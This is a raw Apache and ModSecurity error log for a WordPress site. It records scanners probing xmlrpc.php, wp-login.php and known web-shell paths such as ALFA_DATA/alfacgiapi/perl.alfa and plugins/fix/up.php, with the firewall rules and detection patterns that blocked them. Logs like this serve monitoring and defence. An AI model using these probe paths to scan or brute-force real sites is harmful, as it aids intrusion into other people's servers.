[Tue Mar 24 22:29:41.723612 2026] [:error] [pid 48128:tid 48164] [client 54.169.254.112:54128] [client 54.169.254.112] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.169.254.112, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "acKf1cvR4LIMFLbM5VlEPAAAAYw"]
[Tue Mar 24 23:24:10.404940 2026] [:error] [pid 48219:tid 48305] [client 20.151.251.35:28877] [client 20.151.251.35] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.151.251.35, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/wp-login.php"] [unique_id "acKsmihf3b4R_lAIyv-klQAAAhg"]
[Tue Mar 24 23:24:18.602163 2026] [autoindex:error] [pid 48219:tid 48292] [client 20.151.251.35:28877] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Requests/library/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Mar 24 23:24:18.813412 2026] [autoindex:error] [pid 48219:tid 48290] [client 20.151.251.35:28877] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Mar 24 23:24:22.341252 2026] [autoindex:error] [pid 48219:tid 48281] [client 20.151.251.35:28877] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/crystal/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Mar 24 23:24:32.046662 2026] [autoindex:error] [pid 48219:tid 48289] [client 20.151.251.35:28877] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Mar 24 23:24:34.305071 2026] [:error] [pid 48219:tid 48302] [client 20.151.251.35:28877] [client 20.151.251.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "acKssihf3b4R_lAIyv-ksAAAAhU"]
[Tue Mar 24 23:24:37.558413 2026] [autoindex:error] [pid 48219:tid 48293] [client 20.151.251.35:28890] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/rest-api/fields/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Mar 24 23:24:43.734514 2026] [:error] [pid 48219:tid 48283] [client 20.151.251.35:28890] [client 20.151.251.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "acKsuyhf3b4R_lAIyv-kvAAAAgI"]
[Tue Mar 24 23:24:44.575621 2026] [:error] [pid 3030:tid 3067] [client 20.151.251.35:29451] [client 20.151.251.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "acKsvAyOuILyynfcqflx2QAAABI"]
[Tue Mar 24 23:24:45.401366 2026] [:error] [pid 3137:tid 3143] [client 20.151.251.35:28900] [client 20.151.251.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "acKsvZdZesutm6dfYM9p_QAAAMQ"]
[Tue Mar 24 23:24:46.251373 2026] [:error] [pid 3137:tid 3146] [client 20.151.251.35:28905] [client 20.151.251.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "acKsvpdZesutm6dfYM9qAQAAAMc"]
[Wed Mar 25 00:47:45.716577 2026] [:error] [pid 58154:tid 58166] [client 20.63.96.180:43993] [client 20.63.96.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acLAMQ0pGUh6bwD3ouKDcAAAAMk"]
[Wed Mar 25 00:47:48.865014 2026] [:error] [pid 57711:tid 58064] [client 20.63.96.180:43979] [client 20.63.96.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acLANKLdPFdeRRktTdNREwAAAIs"]
[Wed Mar 25 00:47:50.286368 2026] [:error] [pid 58154:tid 58176] [client 20.63.96.180:44010] [client 20.63.96.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acLANg0pGUh6bwD3ouKDegAAANM"]
[Wed Mar 25 01:54:24.071921 2026] [:error] [pid 57711:tid 58070] [client 20.151.251.35:28867] [client 20.151.251.35] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.151.251.35, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "acLP0KLdPFdeRRktTdNjkAAAAJA"]
[Wed Mar 25 01:54:29.790731 2026] [:error] [pid 57711:tid 58056] [client 20.151.251.35:28867] [client 20.151.251.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "acLP1aLdPFdeRRktTdNjmwAAAIU"]
[Wed Mar 25 01:54:30.640770 2026] [:error] [pid 20371:tid 20397] [client 20.151.251.35:29382] [client 20.151.251.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "acLP1ub25OL4yTv2fF-YuwAAARg"]
[Wed Mar 25 01:54:31.466898 2026] [:error] [pid 57711:tid 58072] [client 20.151.251.35:29397] [client 20.151.251.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "acLP16LdPFdeRRktTdNjnAAAAJI"]
[Wed Mar 25 01:54:32.300275 2026] [:error] [pid 57711:tid 58050] [client 20.151.251.35:28889] [client 20.151.251.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "acLP2KLdPFdeRRktTdNjnwAAAIA"]
[Wed Mar 25 04:53:52.739312 2026] [:error] [pid 47989:tid 48001] [client 182.42.105.85:53903] [client 182.42.105.85] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "acL54CWKdJMhIccROjlIvgAAAUo"]
[Wed Mar 25 07:38:41.025615 2026] [:error] [pid 47946:tid 47972] [client 45.94.31.15:54149] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "acMggTipQTqBMSeKYhcXPgAAARg"], referer: www.google.com
[Wed Mar 25 07:38:41.053086 2026] [:error] [pid 26320:tid 26345] [client 45.94.31.15:55009] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-plain.php"] [unique_id "acMggTkUgS2mHAojGnl4VwAAAck"], referer: www.google.com
[Wed Mar 25 07:38:41.079754 2026] [:error] [pid 26321:tid 26340] [client 45.94.31.15:55464] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "acMggfKO65qqGZCSPZqwXwAAAgE"]
[Wed Mar 25 07:38:41.096314 2026] [:error] [pid 756:tid 856] [client 45.94.31.15:56054] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "acMggTOaW6oylMIDBCTFLwAAAIQ"], referer: www.google.com
[Wed Mar 25 07:38:41.140156 2026] [:error] [pid 26269:tid 26289] [client 45.94.31.15:57873] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/fix/up.php"] [unique_id "acMggUn7e-ZQbaIs7qx_JwAAAY0"]
[Wed Mar 25 07:38:41.519488 2026] [:error] [pid 47946:tid 47972] [client 45.94.31.15:52825] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "acMggTipQTqBMSeKYhcXTAAAARg"], referer: www.google.com
[Wed Mar 25 07:38:41.544676 2026] [:error] [pid 26320:tid 26379] [client 45.94.31.15:53327] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-plain.php"] [unique_id "acMggTkUgS2mHAojGnl4YQAAAdc"], referer: www.google.com
[Wed Mar 25 07:38:41.574558 2026] [:error] [pid 47946:tid 47972] [client 45.94.31.15:54051] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "acMggTipQTqBMSeKYhcXUAAAARg"]
[Wed Mar 25 07:38:41.589791 2026] [:error] [pid 892:tid 915] [client 45.94.31.15:54422] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "acMggST_G8WMU3T3yxpOXAAAANE"], referer: www.google.com
[Wed Mar 25 07:38:41.636394 2026] [:error] [pid 47946:tid 47957] [client 45.94.31.15:56204] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/fix/up.php"] [unique_id "acMggTipQTqBMSeKYhcXUwAAAQk"]
[Wed Mar 25 07:38:42.013078 2026] [:error] [pid 892:tid 907] [client 45.94.31.15:53267] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "acMggiT_G8WMU3T3yxpObwAAAMk"], referer: www.google.com
[Wed Mar 25 07:38:42.031334 2026] [:error] [pid 26320:tid 26368] [client 45.94.31.15:53708] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-plain.php"] [unique_id "acMggjkUgS2mHAojGnl4bgAAAcw"], referer: www.google.com
[Wed Mar 25 07:38:42.065737 2026] [:error] [pid 26321:tid 26341] [client 45.94.31.15:53969] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "acMggvKO65qqGZCSPZqwdAAAAgI"]
[Wed Mar 25 07:38:42.083346 2026] [:error] [pid 26320:tid 26370] [client 45.94.31.15:54654] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "acMggjkUgS2mHAojGnl4bwAAAc4"], referer: www.google.com
[Wed Mar 25 07:38:42.131742 2026] [:error] [pid 26269:tid 26285] [client 45.94.31.15:55620] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/fix/up.php"] [unique_id "acMggkn7e-ZQbaIs7qx_OgAAAYk"]
[Wed Mar 25 07:38:42.512894 2026] [:error] [pid 756:tid 861] [client 45.94.31.15:59547] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "acMggjOaW6oylMIDBCTFWwAAAIk"], referer: www.google.com
[Wed Mar 25 07:38:42.523807 2026] [:error] [pid 756:tid 850] [client 45.94.31.15:59708] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-plain.php"] [unique_id "acMggjOaW6oylMIDBCTFXAAAAIA"], referer: www.google.com
[Wed Mar 25 07:38:42.556346 2026] [:error] [pid 754:tid 765] [client 45.94.31.15:61167] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "acMggjisL3asPbA3CtjOdAAAAAA"]
[Wed Mar 25 07:38:42.572822 2026] [:error] [pid 26320:tid 26374] [client 45.94.31.15:62452] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "acMggjkUgS2mHAojGnl4igAAAdI"], referer: www.google.com
[Wed Mar 25 07:38:42.618572 2026] [:error] [pid 26269:tid 26281] [client 45.94.31.15:63907] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/fix/up.php"] [unique_id "acMggkn7e-ZQbaIs7qx_SwAAAYU"]
[Wed Mar 25 07:38:43.004864 2026] [:error] [pid 47946:tid 47954] [client 45.94.31.15:55735] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "acMggzipQTqBMSeKYhcXeAAAAQY"], referer: www.google.com
[Wed Mar 25 07:38:43.015617 2026] [:error] [pid 47946:tid 47970] [client 45.94.31.15:55868] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-plain.php"] [unique_id "acMggzipQTqBMSeKYhcXegAAARY"], referer: www.google.com
[Wed Mar 25 07:38:43.051258 2026] [:error] [pid 47946:tid 47954] [client 45.94.31.15:56458] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "acMggzipQTqBMSeKYhcXgAAAAQY"]
[Wed Mar 25 07:38:43.061686 2026] [:error] [pid 892:tid 901] [client 45.94.31.15:56931] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "acMggyT_G8WMU3T3yxpOjgAAAMQ"], referer: www.google.com
[Wed Mar 25 07:38:43.110840 2026] [:error] [pid 26269:tid 26281] [client 45.94.31.15:57485] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/fix/up.php"] [unique_id "acMgg0n7e-ZQbaIs7qx_WAAAAYU"]
[Wed Mar 25 07:38:44.029635 2026] [:error] [pid 892:tid 923] [client 45.94.31.15:53849] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "acMghCT_G8WMU3T3yxpOrAAAANg"], referer: www.google.com
[Wed Mar 25 07:38:44.102300 2026] [:error] [pid 26321:tid 26364] [client 45.94.31.15:54186] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "acMghPKO65qqGZCSPZqwqwAAAhc"], referer: www.google.com
[Wed Mar 25 07:38:45.020686 2026] [:error] [pid 26320:tid 26380] [client 45.94.31.15:49881] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "acMghTkUgS2mHAojGnl40wAAAdg"], referer: www.google.com
[Wed Mar 25 07:38:45.105562 2026] [:error] [pid 755:tid 826] [client 45.94.31.15:51986] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "acMghaS6bdaeEwgCGwpMTgAAAEs"], referer: www.google.com
[Wed Mar 25 07:38:46.080772 2026] [:error] [pid 47989:tid 48002] [client 45.94.31.15:59069] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "acMghiWKdJMhIccROjme0QAAAUs"], referer: www.google.com
[Wed Mar 25 07:38:46.152173 2026] [:error] [pid 892:tid 911] [client 45.94.31.15:61407] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "acMghiT_G8WMU3T3yxpPNAAAAM0"], referer: www.google.com
[Wed Mar 25 07:38:47.076783 2026] [:error] [pid 26269:tid 26289] [client 45.94.31.15:54706] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "acMgh0n7e-ZQbaIs7qyABwAAAY0"], referer: www.google.com
[Wed Mar 25 07:38:47.181833 2026] [:error] [pid 47989:tid 47997] [client 45.94.31.15:56309] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "acMghyWKdJMhIccROjme8gAAAUY"], referer: www.google.com
